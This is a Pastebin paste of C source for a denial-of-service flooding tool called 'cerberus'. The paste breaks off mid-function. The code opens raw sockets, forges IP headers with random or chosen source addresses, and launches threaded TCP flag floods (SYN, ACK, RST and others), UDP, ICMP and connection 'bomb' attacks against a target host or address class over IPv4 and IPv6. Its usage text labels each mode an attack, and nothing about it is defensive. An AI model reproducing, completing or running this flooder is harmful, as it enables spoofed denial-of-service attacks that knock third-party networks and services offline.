API tools faq
paste
Advertisement
wtfbbq

shit.c

wtfbbq
Mar 20th, 2015
1,350
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 43.94 KB | None | 0 0
raw download clone embed print report
  1. /*
  2.  * This is released under the GNU GPL License v3.0, and is allowed to be used for commercial products ;)
  3.  */
  4. #ifndef _BSD_SOURCE
  5. #define _BSD_SOURCE
  6. #endif
  7. #include <stdio.h>
  8. #include <stdlib.h>
  9. #include <unistd.h>
  10. #include <netdb.h>
  11. #include <sys/types.h>
  12. #include <netinet/in_systm.h>
  13. #include <sys/socket.h>
  14. #include <string.h>
  15. #include <time.h>
  16. #include <signal.h>
  17. #ifndef __USE_BSD
  18. #define __USE_BSD
  19. #endif
  20. #ifndef __FAVOR_BSD
  21. #define __FAVOR_BSD
  22. #endif
  23. #include <netinet/in.h>
  24. #include <netinet/ip.h>
  25. #include <netinet/ip6.h>
  26. #include <netinet/ip_icmp.h>
  27. #include <netinet/icmp6.h>
  28. #include <netinet/tcp.h>
  29. #include <netinet/udp.h>
  30. #include <netinet/ip_icmp.h>
  31. #include <arpa/inet.h>
  32. #include <pthread.h>
  33. void *send_tcp(void* arg);
  34. void *send_udp(void* arg);
  35. void *send_icmp(void* arg);
  36. void *send_bomb(void* arg);
  37. void  handle_exit();
  38. unsigned short in_cksum(unsigned short *addr, int len);
  39. unsigned short xchecksum(unsigned short *buffer, int size);
  40. char *class2ip(const char *class);
  41. char *class2ip6(const char *class);
  42. void inject(struct ip *ip, u_char p, u_char len);
  43. void inject6(struct ip6_hdr *ip, u_char p, u_char len);
  44. u_long lookup(const char *host);
  45. int main(int argc, char *argv[]);
  46. #define INET_ADDR       16
  47. #define INET6_ADDR      46
  48. #define TCP_FIN         1
  49. #define TCP_SYN         2
  50. #define TCP_RST         4
  51. #define TCP_PSH         8
  52. #define TCP_ACK         16
  53. #define TCP_URG         32
  54. #define TCP_ECE         64
  55. #define TCP_CWR         128
  56. #define TCP_NOF         256
  57. #define TCP_BMB         512
  58. #define UDP_BMB         1024
  59. #define RAW_BMB         2048
  60. #define UDP_CFF         4096
  61. #define ICMP_ECHO_G     8192
  62. #define COMBINE         16384
  63. #define ICMP_HDRLEN         8
  64. #define TH_NOF              0x0
  65.  
  66. #ifdef LINUX
  67. #   define FIX(x)  htons(x)
  68. #else
  69. #   define FIX(x)  (x)
  70. #endif
  71. struct pseudo_hdr
  72. {        
  73.     u_long saddr, daddr;    /* source and dest address   */
  74.     u_char mbz, ptcl;       /* zero and protocol         */
  75.     u_short tcpl;           /* tcp length                */
  76. };
  77. struct checksum
  78. {
  79.     struct pseudo_hdr pseudo;
  80.     struct tcphdr tcp;
  81. };
  82. void inject(struct ip *ip, u_char p, u_char len);
  83. void inject6(struct ip6_hdr *ip, u_char p, u_char len);
  84. #define MAX_THREADS 32768
  85. pthread_t attack_thread[MAX_THREADS];
  86. struct thread_data
  87. {
  88.     int initialized;                // valid thread?
  89.     int flag4, flag6;               // v4 or v6
  90.     int start; 
  91.     int packets;
  92.     unsigned int timeout;       // attack timeout
  93.     int thread;
  94.     unsigned int bombsize;      // size of connect bomb
  95.     unsigned int datasize;      // size of tcp data after header   
  96.     int socket;                     // rawsock
  97.     int a_flags;                    // a_flags
  98.     struct sockaddr_in  destination4;
  99.     struct sockaddr_in6     destination6;
  100.     u_long dstaddr;
  101.     u_char th_flags;
  102.     int d_lport;
  103.     int d_hport;
  104.     int s_lport;
  105.     int s_hport;
  106.     char *src_class;
  107.     char *dst_class;
  108.     char SrcIP4[INET_ADDR];
  109.     char SrcIP6[INET6_ADDR];
  110.     char DestIP4[INET_ADDR];
  111.     char DestIP6[INET6_ADDR];
  112.  
  113. };
  114. struct thread_data thread_data_array[MAX_THREADS];
  115. const char *banner_name         = "\e[1;37m(\e[0m\e[0;31mcerberus\e[0m\e[1;37m)\e[0m-\e[1;37mby\e[0m-\e[1;37m(\e[0m\e[0;31mbloodbath\e[0m\e[1;37m)\e[0m";
  116. const char *banner_types        = "   [\e[4mTCP\e[0m - \e[4mICMP\e[0m - \e[4mUDP\e[0m]";
  117. const char *banner_version  = "         \e[4mv0.666\e[0m";
  118.  
  119. static void
  120. usage(const char *argv0)
  121. {
  122.     printf("%s \n",   banner_name);
  123.     printf("    -4 IPv4\n");
  124.     printf("    -6 IPv6\n");
  125.     printf("    -U UDP  attack                                        \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\n");
  126.     printf("    -I ICMP attack                                        \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\n");
  127.     printf("    -T TCP  attack            [type,size]             \e[1;37m(\e[0m0:FIN   1: SYN\e[1;37m)\e[0m\n");
  128.     printf("                                                      \e[1;37m(\e[0m2:RST   3:PUSH\e[1;37m)\e[0m\n");
  129.     printf("                                                      \e[1;37m(\e[0m4:ACK   5: URG\e[1;37m)\e[0m\n");
  130.     printf("                                                      \e[1;37m(\e[0m6:ECE   7: CWR\e[1;37m)\e[0m\n");  
  131.     printf("                                                      \e[1;37m(\e[0m8:NOF   9:FRAG\e[1;37m)\e[0m\n");
  132.     printf("    -B BMB  attack            [type,size]      \e[1;37m(\e[31m0:TCP   1:UDP   2:RAW\e[1;37m)\e[0m\n"); 
  133.     printf("    -h destination ip                                     \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;37m)\e[0m\n");
  134.     printf("    -d destination class                                  \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;37m)\e[0m\n");
  135.     printf("    -s source class/ip                                        \e[1;37m(\e[m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
  136.     printf("    -p destination port range [start,end]                     \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
  137.     printf("    -q source port range      [start,end]                     \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
  138.     printf("    -t timeout                                            \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;37m)\e[0m\n");
  139.     printf("\e[1musage\e[0m: %s -4 -6 [-U -I -T -B -h -d -s -p -q -t]\n", argv0);
  140.     exit(-1);
  141. }
  142. int
  143. main(int argc, char *argv[])
  144. {
  145.    int i = 0, n;
  146.     int on = 1;
  147.    struct sockaddr_in  DestAddress4;
  148.    struct sockaddr_in6 DestAddress6;
  149.  
  150.     while ( (n = getopt(argc, argv, "46T:B:IUh:d:s:t:p:q:")) != -1)
  151.     {
  152.       char *p;
  153.       unsigned int bombsize = 0;      
  154.       unsigned int datasize = 0;
  155.  
  156.         switch (n)
  157.         {
  158.             case '4':
  159.                 thread_data_array[0].flag4 = 1;
  160.                 break;
  161.             case '6':
  162.                 thread_data_array[0].flag6 = 1;
  163.                 break;
  164.             case 'T':
  165.             if ( (p = (char *) strchr(optarg, ',')) == NULL)
  166.                 datasize = 4;
  167.                
  168.                 if(datasize == 0)
  169.                     datasize = atoi(p + 1);  
  170.                
  171.                 if(datasize > 1024)
  172.                     datasize = 1024;                               
  173.  
  174.             switch (atoi(optarg))
  175.                 {
  176.                     case 0:
  177.                         thread_data_array[TCP_FIN].initialized  = 1;
  178.                        
  179.                         thread_data_array[0].a_flags |= TCP_FIN;
  180.                         thread_data_array[TCP_FIN].a_flags |= TCP_FIN;
  181.                         thread_data_array[TCP_FIN].datasize = datasize;
  182.                         break;
  183.                   case 1:
  184.                         thread_data_array[TCP_SYN].initialized  = 1;
  185.  
  186.                         thread_data_array[0].a_flags |= TCP_SYN;
  187.                         thread_data_array[TCP_SYN].a_flags |= TCP_SYN;
  188.                         thread_data_array[TCP_SYN].datasize = datasize;                    
  189.                         break;
  190.                   case 2:
  191.                         thread_data_array[TCP_RST].initialized  = 1;
  192.  
  193.                         thread_data_array[0].a_flags            |= TCP_RST;
  194.                         thread_data_array[TCP_RST].a_flags  |= TCP_RST;
  195.                         thread_data_array[TCP_RST].datasize = datasize;                    
  196.                         break;
  197.                   case 3:
  198.                         thread_data_array[TCP_PSH].initialized  = 1;
  199.  
  200.                         thread_data_array[0].a_flags            |= TCP_PSH;
  201.                         thread_data_array[TCP_PSH].a_flags  |= TCP_PSH;
  202.                         thread_data_array[TCP_PSH].datasize = datasize;                    
  203.                         break;
  204.                   case 4:
  205.                         thread_data_array[TCP_ACK].initialized  = 1;
  206.  
  207.                         thread_data_array[0].a_flags            |= TCP_ACK;
  208.                         thread_data_array[TCP_ACK].a_flags  |= TCP_ACK;
  209.                         thread_data_array[TCP_ACK].datasize = datasize;                    
  210.                         break;
  211.                   case 5:
  212.                         thread_data_array[TCP_URG].initialized  = 1;
  213.  
  214.                         thread_data_array[0].a_flags            |= TCP_URG;
  215.                         thread_data_array[TCP_URG].a_flags  |= TCP_URG;
  216.                         thread_data_array[TCP_URG].datasize = datasize;                    
  217.                         break;
  218.                   case 6:
  219.                         thread_data_array[TCP_ECE].initialized  = 1;
  220.  
  221.                         thread_data_array[0].a_flags            |= TCP_ECE;
  222.                         thread_data_array[TCP_ECE].a_flags  |= TCP_ECE;
  223.                         thread_data_array[TCP_ECE].datasize = datasize;                    
  224.                         break;
  225.                   case 7:
  226.                         thread_data_array[TCP_CWR].initialized  = 1;
  227.  
  228.                         thread_data_array[0].a_flags            |= TCP_CWR;
  229.                         thread_data_array[TCP_CWR].a_flags  |= TCP_CWR;
  230.                         thread_data_array[TCP_CWR].datasize = datasize;                    
  231.                         break;                                             
  232.                   case 8:
  233.                         thread_data_array[TCP_NOF].initialized  = 1;
  234.  
  235.                         thread_data_array[0].a_flags            |= TCP_NOF;
  236.                         thread_data_array[TCP_NOF].a_flags  |= TCP_NOF;
  237.                         thread_data_array[TCP_NOF].datasize = datasize;                    
  238.                         break;                     
  239.                 }
  240.                 break;
  241.             case 'B':
  242.             if ( (p = (char *) strchr(optarg, ',')) == NULL)
  243.                 bombsize = 64;
  244.                
  245.                 if(bombsize == 0)
  246.                     bombsize = atoi(p + 1);  
  247.                
  248.                 if(bombsize > 2048)
  249.                     bombsize = 2048;  
  250.                                            
  251.             switch (atoi(optarg))
  252.                 {          
  253.                     case 0:
  254.                         thread_data_array[TCP_BMB].initialized  = 1;
  255.                        
  256.                         thread_data_array[0].a_flags |= TCP_BMB;
  257.                         thread_data_array[TCP_BMB].a_flags |= TCP_BMB;
  258.                         thread_data_array[TCP_BMB].bombsize = bombsize;                    
  259.                         break;     
  260.                     case 1:
  261.                         thread_data_array[UDP_BMB].initialized  = 1;
  262.                        
  263.                         thread_data_array[0].a_flags |= UDP_BMB;
  264.                         thread_data_array[UDP_BMB].a_flags |= UDP_BMB;
  265.                         thread_data_array[UDP_BMB].bombsize = bombsize;                    
  266.                         break;
  267.                     case 2:
  268.                         thread_data_array[RAW_BMB].initialized  = 1;
  269.                        
  270.                         thread_data_array[0].a_flags |= RAW_BMB;
  271.                         thread_data_array[RAW_BMB].a_flags |= RAW_BMB;
  272.                         thread_data_array[RAW_BMB].bombsize = bombsize;                    
  273.                         break;                                                 
  274.                 }      
  275.                 break;                             
  276.             case 'I':
  277.                 thread_data_array[ICMP_ECHO_G].initialized = 1;
  278.  
  279.                 thread_data_array[0].a_flags |= ICMP_ECHO_G;
  280.                 thread_data_array[ICMP_ECHO_G].a_flags |= ICMP_ECHO_G;
  281.                 break;
  282.             case 'U':
  283.                 thread_data_array[UDP_CFF].initialized = 1;
  284.  
  285.                 thread_data_array[0].a_flags |= UDP_CFF;
  286.                 thread_data_array[UDP_CFF].a_flags |= UDP_CFF;
  287.                 break;         
  288.             case 'h':
  289.                 if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  290.                 {
  291.                     DestAddress4.sin_family     = AF_INET;
  292.                     inet_pton(AF_INET, optarg, &DestAddress4.sin_addr);
  293.                     thread_data_array[0].dstaddr = lookup(optarg);
  294.  
  295.                     thread_data_array[0].destination4   =   DestAddress4;
  296.                 }
  297.                 else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  298.                 {
  299.                     DestAddress6.sin6_family    = AF_INET6;
  300.                     inet_pton(AF_INET6, optarg, &DestAddress6.sin6_addr);
  301.  
  302.                     thread_data_array[0].destination6   =   DestAddress6;
  303.                 }
  304.                 else
  305.                 {
  306.                     printf("-4 and -6 can not both be specified.\n\n");
  307.                     usage(argv[0]);                
  308.                 }
  309.                 break;
  310.             case 'd':
  311.                 thread_data_array[0].dst_class = optarg;
  312.                 break;
  313.             case 's':
  314.                 thread_data_array[0].src_class = optarg;
  315.                 break;
  316.             case 'p':
  317.                 if ( (p = (char *) strchr(optarg, ',')) == NULL)
  318.                     usage(argv[0]);
  319.                 thread_data_array[0].d_lport = atoi(optarg);    /* Destination start port */
  320.                 thread_data_array[0].d_hport = atoi(p + 1);     /* Destination end port */
  321.                 break;
  322.             case 'q':
  323.                 if ( (p = (char *) strchr(optarg, ',')) == NULL)
  324.                     usage(argv[0]);
  325.                 thread_data_array[0].s_lport = atoi(optarg);    /* Source start port */
  326.                 thread_data_array[0].s_hport = atoi(p + 1);     /* Source end port */
  327.                 break;
  328.             case 't':
  329.                 thread_data_array[0].timeout = atoi(optarg);
  330.                 break;
  331.             default:
  332.                 usage(argv[0]);
  333.                 break;
  334.         }
  335.     }
  336.     if (!thread_data_array[0].timeout)
  337.     {
  338.         usage(argv[0]);
  339.     }
  340.  
  341.     if (!thread_data_array[0].src_class)
  342.     {
  343.         if(thread_data_array[0].flag6 == 1)
  344.         {
  345.             static char ipstring[3];
  346.             strcat(ipstring, "2001:");
  347.             thread_data_array[0].src_class = class2ip6(ipstring);
  348.             //printf("\n\e[1;37merror: -s must be specified with -6\n\n");
  349.             //usage(argv[0]);
  350.         }
  351.     }
  352.  
  353.     if (    (!thread_data_array[0].flag4 && !thread_data_array[0].flag6)    ||
  354.             (!thread_data_array[0].a_flags)                                             ||
  355.             (!thread_data_array[0].timeout)
  356.         )              
  357.        
  358.     {
  359.         usage(argv[0]);
  360.     }
  361.  
  362.     if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  363.     {
  364.         int i;
  365.       for (i = TCP_FIN; i <= ICMP_ECHO_G; i*=2)
  366.         {  
  367.             if ( thread_data_array[i].initialized == 1 )
  368.             {
  369.                 if ( (thread_data_array[i].socket = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
  370.                 {
  371.                     perror("socket");
  372.                     exit(-1);
  373.                 }  
  374.  
  375.                 if (setsockopt(thread_data_array[i].socket, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0)
  376.                 {
  377.                     perror("setsockopt");
  378.                     exit(-1);
  379.                 }
  380.             }
  381.         }
  382.  
  383.         printf("[IPv4] Packeting (%s) from (%s) with flags (%i) for (%i) seconds.\n\n",     thread_data_array[0].dst_class != NULL ?
  384.                                                                                                             thread_data_array[0].dst_class :
  385.                                                                                                             inet_ntop(AF_INET,
  386.                                                                                                                     &thread_data_array[0].destination4.sin_addr,
  387.                                                                                                                     thread_data_array[0].DestIP4,
  388.                                                                                                                     sizeof(thread_data_array[0].DestIP4)),
  389.                                                                                                                     //thread_data_array[0].src_class,
  390.                                                                                                                     thread_data_array[0].src_class != NULL ?
  391.                                                                                                             thread_data_array[0].src_class :
  392.                                                                                                             "random",                                                                                                                  
  393.                                                                                                                     thread_data_array[0].a_flags,
  394.                                                                                                                     thread_data_array[0].timeout);
  395.        
  396.         printf("[FLAGS] (%d)\n\n", thread_data_array[0].a_flags);                                                                                                                                                                                                                                      
  397.     }
  398.     else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  399.     {
  400.         int i;
  401.       for (i = TCP_FIN; i <= ICMP_ECHO_G; i*=2)
  402.         {
  403.             if ( thread_data_array[i].initialized== 1 )
  404.             {
  405.                 if (thread_data_array[i].a_flags <= TCP_BMB )              
  406.                 {
  407.                     if ( (thread_data_array[i].socket = socket(AF_INET6, SOCK_RAW, IPPROTO_TCP)) < 0)
  408.                     {
  409.                         perror("socket");
  410.                         exit(-1);
  411.                     }
  412.                 }
  413.                 else if (thread_data_array[i].a_flags == UDP_CFF)
  414.                 {
  415.                     if ( (thread_data_array[i].socket = socket(AF_INET6, SOCK_RAW, IPPROTO_UDP)) < 0)
  416.                     {
  417.                         perror("socket");
  418.                         exit(-1);
  419.                     }
  420.                 }
  421.                 else if (thread_data_array[i].a_flags == ICMP_ECHO_G)
  422.                 {
  423.                     if ( (thread_data_array[i].socket = socket(AF_INET6, SOCK_RAW, IPPROTO_ICMPV6)) < 0)
  424.                     {
  425.                         perror("socket");
  426.                         exit(-1);
  427.                     }
  428.                 }
  429.  
  430.                 if (setsockopt(thread_data_array[i].socket, IPPROTO_IPV6, IPV6_TCLASS, (char *)&on, sizeof(on)) < 0)
  431.                 {
  432.                     perror("setsockopt");
  433.                     exit(-1);
  434.                 }
  435.             }
  436.         }
  437.         printf("[IPv6] Packeting (%s) from (%s) with flags (%i) for (%i) seconds.\n\n",     thread_data_array[0].dst_class != NULL ?
  438.                                                                                                         thread_data_array[0].dst_class :
  439.                                                                                                             inet_ntop(AF_INET6,
  440.                                                                                                                     &thread_data_array[0].destination6.sin6_addr,
  441.                                                                                                                     thread_data_array[0].DestIP6,
  442.                                                                                                                     sizeof(thread_data_array[0].DestIP6)),
  443.                                                                                                                     thread_data_array[0].src_class,
  444.                                                                                                                     thread_data_array[0].a_flags,
  445.                                                                                                                     thread_data_array[0].timeout);
  446.         printf("[FLAGS] (%d)\n\n", thread_data_array[0].a_flags);                                                                                                                  
  447.     }
  448.                
  449.  
  450.     signal (SIGINT,  handle_exit);
  451.     signal (SIGTERM, handle_exit);
  452.     signal (SIGQUIT, handle_exit);
  453.  
  454.     thread_data_array[0].start      = time(NULL);
  455.  
  456.    for (i = TCP_FIN; i <= ICMP_ECHO_G; i*=2)
  457.     {      
  458.         if (thread_data_array[i].a_flags == TCP_FIN)
  459.         {
  460.             thread_data_array[i].thread     = i;
  461.             thread_data_array[i].packets        = 0;
  462.  
  463.             thread_data_array[i].th_flags   = TH_FIN;
  464.            
  465.             if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0)
  466.         {
  467.             printf("+    Thread error:\n");
  468.             perror("-    pthread_create()\n");
  469.             }
  470.         }
  471.         if (thread_data_array[i].a_flags == TCP_SYN)
  472.         {
  473.             thread_data_array[i].thread     = i;
  474.             thread_data_array[i].packets        = 0;
  475.            
  476.  
  477.             thread_data_array[i].th_flags   = TH_SYN;
  478.  
  479.             if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0)
  480.         {
  481.             printf("+    Thread error:\n");
  482.             perror("-    pthread_create()\n");
  483.             }
  484.         }
  485.         if (thread_data_array[i].a_flags == TCP_RST)
  486.         {
  487.             thread_data_array[i].thread     = i;
  488.             thread_data_array[i].packets        = 0;
  489.  
  490.             thread_data_array[i].th_flags   = TH_RST;
  491.  
  492.             if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0)
  493.         {
  494.             printf("+    Thread error:\n");
  495.             perror("-    pthread_create()\n");
  496.             }
  497.         }
  498.         if (thread_data_array[i].a_flags == TCP_PSH)
  499.         {
  500.             thread_data_array[i].thread     = i;
  501.             thread_data_array[i].packets        = 0;
  502.  
  503.             thread_data_array[i].th_flags   = TH_PUSH;
  504.  
  505.             if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0)
  506.         {
  507.             printf("+    Thread error:\n");
  508.             perror("-    pthread_create()\n");
  509.             }
  510.         }
  511.         if (thread_data_array[i].a_flags == TCP_ACK)
  512.         {
  513.             thread_data_array[i].thread     = i;
  514.             thread_data_array[i].packets        = 0;
  515.  
  516.             thread_data_array[i].th_flags   = TH_ACK;
  517.  
  518.             if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0)
  519.         {
  520.             printf("+    Thread error:\n");
  521.             perror("-    pthread_create()\n");
  522.             }
  523.         }
  524.         if (thread_data_array[i].a_flags == TCP_URG)
  525.         {
  526.             thread_data_array[i].thread     = i;
  527.             thread_data_array[i].packets        = 0;
  528.  
  529.  
  530.             thread_data_array[i].th_flags   = TH_URG;
  531.            
  532.             if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0)
  533.         {
  534.             printf("+    Thread error:\n");
  535.             perror("-    pthread_create()\n");
  536.             }
  537.         }
  538.         if (thread_data_array[i].a_flags == TCP_NOF)
  539.         {
  540.             thread_data_array[i].thread     = i;
  541.             thread_data_array[i].packets        = 0;
  542.  
  543.  
  544.             thread_data_array[i].th_flags   = TH_NOF;
  545.            
  546.             if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0)
  547.         {
  548.             printf("+    Thread error:\n");
  549.             perror("-    pthread_create()\n");
  550.             }
  551.         }      
  552.  
  553.         if (thread_data_array[i].a_flags == TCP_BMB)
  554.         {
  555.             thread_data_array[i].thread     = i;
  556.             thread_data_array[i].packets        = 0;
  557.  
  558.             if(pthread_create(&attack_thread[i], NULL, &send_bomb, (void *)&thread_data_array[i]) != 0)
  559.         {
  560.                 printf("+    Thread error:\n");
  561.                 perror("-    pthread_create()\n");
  562.             }
  563.         }
  564.         if (thread_data_array[i].a_flags == UDP_BMB)
  565.         {
  566.             thread_data_array[i].thread     = i;
  567.             thread_data_array[i].packets        = 0;
  568.  
  569.             if(pthread_create(&attack_thread[i], NULL, &send_bomb, (void *)&thread_data_array[i]) != 0)
  570.         {
  571.                 printf("+    Thread error:\n");
  572.                 perror("-    pthread_create()\n");
  573.             }
  574.         }
  575.         if (thread_data_array[i].a_flags == RAW_BMB)
  576.         {
  577.             thread_data_array[i].thread     = i;
  578.             thread_data_array[i].packets        = 0;
  579.  
  580.             if(pthread_create(&attack_thread[i], NULL, &send_bomb, (void *)&thread_data_array[i]) != 0)
  581.         {
  582.                 printf("+    Thread error:\n");
  583.                 perror("-    pthread_create()\n");
  584.             }
  585.         }              
  586.         if (thread_data_array[i].a_flags == UDP_CFF)
  587.         {
  588.             thread_data_array[i].thread     = i;
  589.             thread_data_array[i].packets        = 0;
  590.  
  591.             if(pthread_create(&attack_thread[i], NULL, &send_udp, (void *)&thread_data_array[i]) != 0)
  592.         {
  593.                 printf("+    Thread error:\n");
  594.                 perror("-    pthread_create()\n");
  595.             }
  596.         }
  597.         if (thread_data_array[i].a_flags == ICMP_ECHO_G)
  598.         {
  599.             thread_data_array[i].thread     = i;
  600.             thread_data_array[i].packets        = 0;
  601.  
  602.             if(pthread_create(&attack_thread[i], NULL, &send_icmp, (void *)&thread_data_array[i]) != 0)
  603.         {
  604.                 printf("+    Thread error:\n");
  605.                 perror("-    pthread_create()\n");
  606.             }
  607.         }
  608.     }
  609.    for (i = TCP_FIN; i <= ICMP_ECHO_G; i*=2)
  610.    {
  611.      if(attack_thread[i] != 0)
  612.             pthread_join(attack_thread[i], NULL);
  613.     }
  614.     exit(0);
  615. }
  616. void *send_tcp(void* arg)
  617. {
  618.     struct thread_data *param2  = arg;
  619.  
  620.    struct checksum checksum;
  621.    struct packet
  622.     {
  623.     struct ip ip;
  624.       struct tcphdr tcp;
  625.     char buf[param2->datasize];        
  626.    } packet;
  627.  
  628.    struct packet6
  629.     {
  630.     struct ip6_hdr ip;
  631.       struct tcphdr tcp;
  632.     char buf[param2->datasize];      
  633.    } packet6;
  634.  
  635.     printf("[%d] Acquired socket %d\n", param2->thread, param2->socket);
  636.    
  637.     int i;
  638.     for (i = sizeof(packet) + 1; i < (param2->datasize); i++)
  639.     {
  640.         packet.buf[i] = '\x00';
  641.     }
  642.            
  643.     signal(SIGALRM, handle_exit);  
  644.     alarm(thread_data_array[0].timeout);
  645.     if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  646.     {
  647.         do     
  648.         {
  649.             /* Filling IP header */
  650.             memset(&packet, 0, sizeof packet);
  651.             inject(&packet.ip, IPPROTO_TCP, FIX(sizeof packet));
  652.    
  653.             packet.ip.ip_sum           =    in_cksum((void *)&packet.ip, sizeof(packet));
  654.  
  655.            /* Filling cksum pseudo header */
  656.            checksum.pseudo.daddr        =   thread_data_array[0].dstaddr;
  657.            checksum.pseudo.mbz          =   0;
  658.            checksum.pseudo.ptcl         =   IPPROTO_TCP;
  659.            checksum.pseudo.tcpl         =   sizeof(struct tcphdr);
  660.            checksum.pseudo.saddr        =   packet.ip.ip_src.s_addr;
  661.  
  662.             /* Filling TCP header */
  663.             packet.tcp.th_win           =   htons(65535);
  664.            packet.tcp.th_seq        =   random();
  665.             //packet.tcp.th_x2          =   4;
  666.  
  667.             if  (param2->th_flags == TCP_ACK)
  668.                 packet.tcp.th_ack       = 1;
  669.             else
  670.             packet.tcp.th_ack       =   0;     
  671.  
  672.            packet.tcp.th_flags      =   param2->th_flags;
  673.             packet.tcp.th_off           =   5;
  674.  
  675.             if  (param2->th_flags == TCP_URG)
  676.                packet.tcp.th_urp        =   1;
  677.             else
  678.                 packet.tcp.th_urp       =   0;
  679.  
  680.            packet.tcp.th_sport      =   thread_data_array[0].s_lport == 0 ?
  681.                                             random () :
  682.                                             htons(thread_data_array[0].s_lport + (random() %
  683.                                                     (thread_data_array[0].s_hport - thread_data_array[0].s_lport + 1)));
  684.    
  685.            packet.tcp.th_dport      =   thread_data_array[0].d_lport == 0 ?
  686.                                             random () :
  687.                                          htons(thread_data_array[0].d_lport + (random() %
  688.                                                     (thread_data_array[0].d_hport - thread_data_array[0].d_lport + 1)));
  689.                
  690.            checksum.tcp                 =   packet.tcp;
  691.             //packet.tcp.th_sum         =   in_cksum((void *)&checksum, sizeof(checksum));
  692.            packet.tcp.th_sum                =  xchecksum((void *)&checksum, sizeof(checksum));
  693.        
  694.             param2->packets++;
  695.         } while ( sendto(param2->socket, &packet, (sizeof packet),
  696.                          0, (struct sockaddr *)&thread_data_array[0].destination4,
  697.                          sizeof(thread_data_array[0].destination4)) );
  698.     }
  699.     if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  700.     {
  701.         do     
  702.         {
  703.             /* Filling IP header */
  704.             memset(&packet6, 0, sizeof packet6);
  705.             inject6(&packet6.ip, IPPROTO_TCP, FIX(sizeof packet6));
  706.  
  707.            /* Filling cksum pseudo header */
  708.            checksum.pseudo.daddr    =   thread_data_array[0].dstaddr;
  709.            checksum.pseudo.mbz          =   0;
  710.            checksum.pseudo.ptcl         =   IPPROTO_TCP;
  711.            checksum.pseudo.tcpl         =   sizeof(struct tcphdr);
  712.  
  713.            /* Filling TCP header */
  714.             packet6.tcp.th_win          =   htons(65535);
  715.            packet6.tcp.th_seq           =   random();
  716.             //packet6.tcp.th_x2         =   4;
  717.  
  718.             if  (param2->th_flags == TCP_ACK)
  719.                 packet6.tcp.th_ack      =   1;
  720.             else
  721.                 packet6.tcp.th_ack      =   0;     
  722.  
  723.            packet6.tcp.th_flags         =   param2->th_flags;
  724.             packet6.tcp.th_off          =   5;
  725.  
  726.             if  (param2->th_flags == TCP_URG)
  727.                 packet6.tcp.th_urp     =    1;
  728.             else
  729.                 packet6.tcp.th_urp     =    0;
  730.  
  731.            packet6.tcp.th_sport         =   thread_data_array[0].s_lport == 0 ?
  732.                                             random () :
  733.                                             htons(thread_data_array[0].s_lport + (random() %
  734.                                                     (thread_data_array[0].s_hport - thread_data_array[0].s_lport + 1)));
  735.    
  736.            packet6.tcp.th_dport         =   thread_data_array[0].d_lport == 0 ?
  737.                                             random () :
  738.                                          htons(thread_data_array[0].d_lport + (random() %
  739.                                                     (thread_data_array[0].d_hport - thread_data_array[0].d_lport + 1)));
  740.    
  741.            checksum.tcp                 =   packet.tcp;
  742.            //packet6.tcp.th_sum         =   in_cksum((void *)&checksum, sizeof(checksum));
  743.             packet.tcp.th_sum               =  xchecksum((void *)&checksum, sizeof(checksum));
  744.                                                    
  745.             param2->packets++;
  746.         } while ( sendto(param2->socket, &packet6.tcp, (sizeof packet6),
  747.                          0, (struct sockaddr *)&thread_data_array[0].destination6,
  748.                          sizeof(thread_data_array[0].destination6)) );
  749.     }
  750.     return 0;
  751. }
  752.  
  753. void *send_pan(void* arg)
  754. {
  755.     struct thread_data *param2  = arg;
  756.  
  757.    struct checksum checksum;
  758.    struct packet
  759.     {
  760.       struct ip ip;
  761.     struct tcphdr tcp;
  762.    } packet;
  763.  
  764.    struct packet6
  765.     {
  766.     struct ip6_hdr ip;
  767.       struct tcphdr tcp;
  768.    } packet6;
  769.  
  770.     printf("[%d] Acquired socket %d\n", param2->thread, param2->socket);
  771.  
  772.     signal(SIGALRM, handle_exit);  
  773.     alarm(thread_data_array[0].timeout);
  774.     if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  775.     {
  776.         do     
  777.         {
  778.             /* Filling IP header */
  779.             memset(&packet, 0, sizeof packet);
  780.             inject(&packet.ip, IPPROTO_TCP, FIX(sizeof packet));
  781.    
  782.             packet.ip.ip_sum           =    in_cksum((void *)&packet.ip, sizeof(packet));
  783.  
  784.            /* Filling cksum pseudo header */
  785.            checksum.pseudo.daddr        =   thread_data_array[0].dstaddr;
  786.            checksum.pseudo.mbz          =   0;
  787.            checksum.pseudo.ptcl         =   IPPROTO_TCP;
  788.            checksum.pseudo.tcpl         =   sizeof(struct tcphdr);
  789.            checksum.pseudo.saddr        =   packet.ip.ip_src.s_addr;
  790.  
  791.             /* Filling TCP header */
  792.             packet.tcp.th_win           =   htons(65535);
  793.            packet.tcp.th_seq        =   random();
  794.             //packet.tcp.th_x2          =   4;
  795.  
  796.             if  (param2->th_flags == TCP_ACK)
  797.                 packet.tcp.th_ack       =   1;
  798.             else
